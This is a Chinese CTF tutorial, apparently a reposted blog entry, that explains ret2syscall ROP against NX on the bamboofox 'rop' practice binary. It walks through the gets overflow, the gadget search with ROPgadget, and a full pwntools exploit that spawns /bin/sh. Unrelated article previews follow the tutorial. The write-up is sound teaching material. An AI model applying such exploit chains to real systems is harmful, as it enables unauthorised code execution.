栈溢出入门03 ret2syscall ROP NX绕过

news/2024/10/6 3:31:30/文章来源:https://www.cnblogs.com/kenwblack/p/18286714

本例题会使用ROP技术来绕过堆栈不可执行保护(NX保护),随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

那么ret2text——程序中有system("/bin/sh")代码段,控制流执行

那么ret2shellcode——程序中不存在system("/bin/sh/")的代码段,自己恶意填入代码并在可执行段执行 

那么ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用

有些抽象。这就好比是一个函数,选好了合适的函数名(某个特殊寄存器的特殊的值),你设定好了参数(其他寄存器的特殊的值),并call 这个函数(一个特殊的语句),就能够执行这个函数(产生作用)

系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0

使用int 80执行系统调用,这也是execve("/bin/sh/",NULL,NULL)的底层效果,返回了shell

使用checksec 发现只是开启了NX保护,file一下发现是静态链接,所以可以尝试使用ret2syscall。

使用的例题还是CTF-wiki里的bamboofox-ret2syscall文件夹下的rop文件,其md5值为:e7f8665936ee7011654bea6aca0c6d06

在Linux下可以使用“md5sum filename”命令计算MD5值

1.IDA反编译寻找漏洞

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   int v4; // [esp+1Ch] [ebp-64h] BYREF
 4 
 5   setvbuf(stdout, 0, 2, 0);
 6   setvbuf(stdin, 0, 1, 0);
 7   puts("This time, no system() and NO SHELLCODE!!!");
 8   puts("What do you plan to do?");
 9   gets(&v4);
10   return 0;
11 }

明显地,main函数里边的gets函数会造成缓冲区溢出。用pattern create和pattern_offset计算出buf到溢出点偏移有112字节。

注意:因为main函数里边计算的话需要额外加8字节才能正确计算处return address,0x64+0x4+0x8=0x70=112

2.寻找gadget

使用ROPgadget命令查询都有哪些pop 特定寄存器 ret的命令,然后一步步pop ret构造程序控制流

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop  --only 'pop|ret' | grep 'ecx'
ROPgadget --binary rop  --only 'pop|ret' | grep 'edx'

1 └─$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
2 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
3 0x080bb196 : pop eax ; ret
4 0x0807217a : pop eax ; ret 0x80e
5 0x0804f704 : pop eax ; ret 3
6 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选第三行的这个 因为其他的影响其他寄存器。

然后依次执行ROPgadget 命令寻找gadgets,然后发现下面的gadget一条就解决剩余三个寄存器的问题

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 

用ROPgadget --binary rop --string '/bin/sh'寻找是否有/bin/sh字符串

ROPgadget --binary rop --string '/bin/sh'           
Strings information
============================================================
0x080be408 : /bin/sh

还需要有触发系统中断的int 80语句

┌──(hath㉿kali)-[~/Desktop/CTF/bamboofox-ret2syscall]
└─$ ROPgadget --binary rop --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80Unique gadgets found: 1

基于上边的这四条我们可以构造我们的栈帧结构。

 3.exp

 1 #!/usr/bin/env python
 2 from pwn import *
 3 
 4 sh = process('./rop')
 5 
 6 pop_eax_ret = 0x080bb196
 7 pop_edx_ecx_ebx_ret = 0x0806eb90
 8 int_0x80 = 0x08049421
 9 binsh = 0x80be408
10 payload = flat(
11     ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
12 sh.sendline(payload)
13 sh.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/739317.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营第五十六天 | 98.所有可达路径

98.所有可达路径 题目链接 文章讲解邻接矩阵法 邻接矩阵使用二维数组来表示图结构。邻接矩阵是从节点的角度来表示图,有多少节点就申请多大的二维数组 为了节点标号和下标对其,有n个节点的图申请(n + 1) * (n + 1)的空间 vector<vector<int>> graph(n + 1, vecto…

暑假第一周总结

弗洛伊德基本思想弗洛伊德算法作为求最短路径的经典算法,其算法实现相比迪杰斯特拉等算法是非常优雅的,可读性和理解都非常好。 基本思想:弗洛伊德算法定义了两个二维矩阵: 矩阵D记录顶点间的最小路径例如D[0][3]= 10,说明顶点0 到 3 的最短路径为10;矩阵P记录顶点间最小…

zadig 安装和使用

介绍 Zadig 是由 KodeRover 公司基于 Kubernetes 研发的自助式云原生 DevOps 平台,源码 100% 开放。Zadig 提供灵活可扩展的工作流支持、多种发布策略编排以及一键安全审核等特性。该平台还支持定制的企业级 XOps 敏捷效能看板,深度集成多种企业级平台,并通过项目模板化批量…

将jar可执行文件打包为windows安装包体

当我们希望将java编写的可执行文件.jar打包为一个.exe供用户直接使用,我们需要将jre/jdk也打包到exe中,这样用户环境就不需要安装jdk,直接运行我们做好的exe文件。 整个过程分为两步,为了方便演示,这里使用JMonkeyEngine SDK打包一个jme3游戏的方式来解释。 工具 首先下载…

FFmpeg开发笔记(三十五)Windows环境给FFmpeg集成libsrt

​《FFmpeg开发实战:从零基础到短视频上线》一书的“10.2 FFmpeg推流和拉流”提到直播行业存在RTSP和RTMP两种常见的流媒体协议。除此以外,还有比较两种比较新的流媒体协议,分别是SRT和RIST。 其中SRT全称为Secure Reliable Transport,中文叫做安全可靠传输协议。RIST全称…

java学习进度

(1)通过视频学习了解了java基本概述 (2)成功下载了Eclipse,并搭建java环境 (3)使用Eclipse运行"hello world"程序 代码如下: package hello; public class helloworld { public static void main(String[] args) {// TODO Auto-generated method stubSystem.…

横截面交易策略:概念与示例

更多精彩内容,欢迎关注公众号:数量技术宅,也可添加技术宅个人微信号:sljsz01,与我交流。 什么是横截面策略 横截面交易策略(Cross-Sectional Trading Strategy)是一种金融市场上的交易策略,它是基于不同资产之间的相对价值或其他因子的差异来进行投资决策。这种策略的核…

Spark快速大数据分析PDF下载读书分享推荐

《Spark 快速大数据分析》是一本为 Spark 初学者准备的书,它没有过多深入实现细节,而是更多关注上层用户的具体用法。不过,本书绝不仅仅限于 Spark 的用法,它对 Spark 的核心概念和基本原理也有较为全面的介绍,让读者能够知其然且知其所以然。 Spark快速大数据分析PDF下载…

IP核:XDMA学习

知识: XDMA效率没有RIFFA高,最高似乎只支持1288位宽; 输出的用户时钟是250MHZ; IP核配置: 参考: https://docs.amd.com/r/zh-CN/pg195-pcie-dma/ 具体:重要:PCIe:BARs标签页该标签页主要用于配置 BAR,所谓的使能和配置各接口 interface,其实质是配置不同的 BAR,首先介…

【模块三】Python高级

面向对象基础 类和对象 概念 面向对象编程(Object-Oriented Programming,简称OOP)是一种编程范式。 类是人们抽象出来的一个概念,所有拥有相同属性和功能的事物称为一个类;而拥有相同属性和功能的具体事物则成为这个类的实例对象。 面向对象编程提供了一种从现实世界中抽象…

大气热力学(5)——绝热过程

本篇文章源自我在 2021 年暑假自学大气物理相关知识时手写的笔记,现转化为电子版本以作存档。相较于手写笔记,电子版的部分内容有补充和修改。笔记内容大部分为公式的推导过程。 目录5.1 气块的概念5.2 热力学第一定律的几种微分形式5.3 干绝热过程5.4 干绝热递减率(干绝热直…

如何解决服务器开机报警问题

解决服务器开机报警问题,需要按照一系列步骤进行故障排查和修复。 一、初步检查与确认 查看报警信息: 观察服务器的指示灯,特别是电源指示灯、硬盘指示灯等,看是否有异常。 如果服务器有显示屏或终端窗口,查看是否有相应的警告信息或错误代码。 确认电源状态: 检查电源线…